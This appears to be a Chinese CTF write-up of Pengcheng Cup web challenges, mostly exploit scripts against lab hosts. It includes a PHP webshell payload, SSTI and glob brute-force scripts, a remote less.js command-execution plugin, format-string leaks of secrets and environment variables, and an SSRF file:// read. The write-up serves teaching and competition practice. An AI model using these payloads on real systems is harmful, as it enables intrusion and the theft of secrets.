去年的鹏城杯,鄙人只做出来 1 题
今年的鹏城杯,鄙人和队友一起做出来了 5/6 题

web1

好简单的反序列化

1
2
3
4
5
$hacker = new Hacker();
$h = new H();

$h->username = $hacker;
echo urlencode(serialize($h));

web2

glob 协议爆破文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string

import requests

burp0_url = "http://172.10.0.5:80/"
dic = string.digits + string.ascii_lowercase
res = ""
for length in range(40):
for i in dic:
burp0_data = {"filename": "glob://./backdoor_" + res + i + "*"}
r = requests.post(burp0_url, data=burp0_data)
if "failed to open dir" not in r.text and "nonono~~~" not in r.text:
res += i
break
print(burp0_data)

后面是数组绕过

/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=tel&title[]=x&data[]=<?php+system("cat+/flag");

Tera

ssti 结合 tera

https://keats.github.io/tera/docs/

试了一下,可以读环境变量的 flag,然后进行爆破匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
import json
import os

url = "http://172.10.0.3:8081/"

chars = string.ascii_lowercase + "01234567890" + "-}"

flag = "3c"

while True:
for char in chars:
data = '{%set f=get_env(name="fl"~"ag")%}{%if f is starting_with("fl"~"ag{'+flag + char +'")%}114514{%endif%}'
cmd = "curl -X POST http://172.10.0.3:8081/ --data '"+data+"'"
print(cmd)
text = os.popen(cmd).read()
if "114514" in text:
flag += char
print(flag)

Simple-rpc

https://zhuanlan.zhihu.com/p/389345632

非预期吧?less.js rce

Vps 上放 1.js

1
2
3
4
5
functions.add("cmd", function (val) {
return `"${global.process.mainModule
.require("child_process")
.execSync(val.value)}"`;
});

escape

/source 源码路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from sqlite3 import *

from random import choice
from hashlib import sha512

from flask import Flask, request, Response
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["50000 per hour"],
storage_uri="memory://",
)

salt = b'****************'


class PassHash(str):
def __str__(self):
return sha512(salt + self.encode()).hexdigest()

def __repr__(self):
return sha512(salt + self.encode()).hexdigest()


con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(username, passhash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
"INSERT INTO users VALUES (?, ?)",
("admin", str(passhash))
)
con.commit()


@app.route('/source')
@limiter.limit("1/second")
def source():
return Response(open(__file__).read(), mimetype="text/plain")


@app.route('/')
@limiter.limit("3/second")
def index():
if 'username' not in request.args or 'password' not in request.args:
return open("index.html").read()
else:
username = request.args["username"]
new_pwd = PassHash(request.args["password"])
con = connect("users.db")
cur = con.cursor()
res = cur.execute(
"SELECT * from users WHERE username = ? AND passhash = ?",
(username, str(new_pwd))
)
if res.fetchone():
return open("secret.html").read()
return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
.format(user=username)
.format(passhash=new_pwd)
)


if __name__ == "__main__":
app.run('0.0.0.0', 10000)

队友 NaN 发现时 format 有问题

http://172.10.0.5:10000/?username={passhash.__class__.__repr__.__globals__}&password= 可以获取的 salt 和 hashpash

我做的是这部分的原密码爆破,手工测出来有可以绕过,写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time

password = ""

url = "http://172.10.0.5:10000/"

padding = len("Sorry, we couldn't find a user '")

for i in range(16):
params = {
"username":f"{{passhash.__class__.__repr__.__globals__[passhash][{i}]}}",
"password":""
}
r = requests.get(url,params=params)
password += r.text[padding]
time.sleep(1)
print(password)

http://172.10.0.5:10000/?username=admin&password=7295348376789132

登陆之后还不给我 flag

secret.html 提示 flag 在 environment 里

至于之后的 format 导入 os 进而获取 environ 还是队友搞出来的,我真不太会

{passhash.__class__.__repr__.__globals__[app].__init__.__globals__[os].environ}

赛后看别人说的,竟然是国外的原题???

https://imaginaryctf.org/ArchivedChallenges/39

http://puzzler7.imaginaryctf.org:11005/?username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ[BONUS_FLAG]}&password=

The Flask module imports os, which means that any flask object that has access to __globals__ also has access to os, and thus access to the environment variables.

HTTP (未完成)

dirsearch 目录扫描

1
2
3
[10:26:42] Starting:
[10:27:37] 200 - 92B - /swagger-resources
[10:27:41] 200 - 625B - /v2/api-docs

同时还有 http://172.10.0.3:8080/v3/api-docs

通过这些,可以得知存在 /proxy/url?url=ads 有 ssrf

一直以为没人做出来这一题,赛后发现竟然是通过 url:file:// 去绕过就可以读 flag 了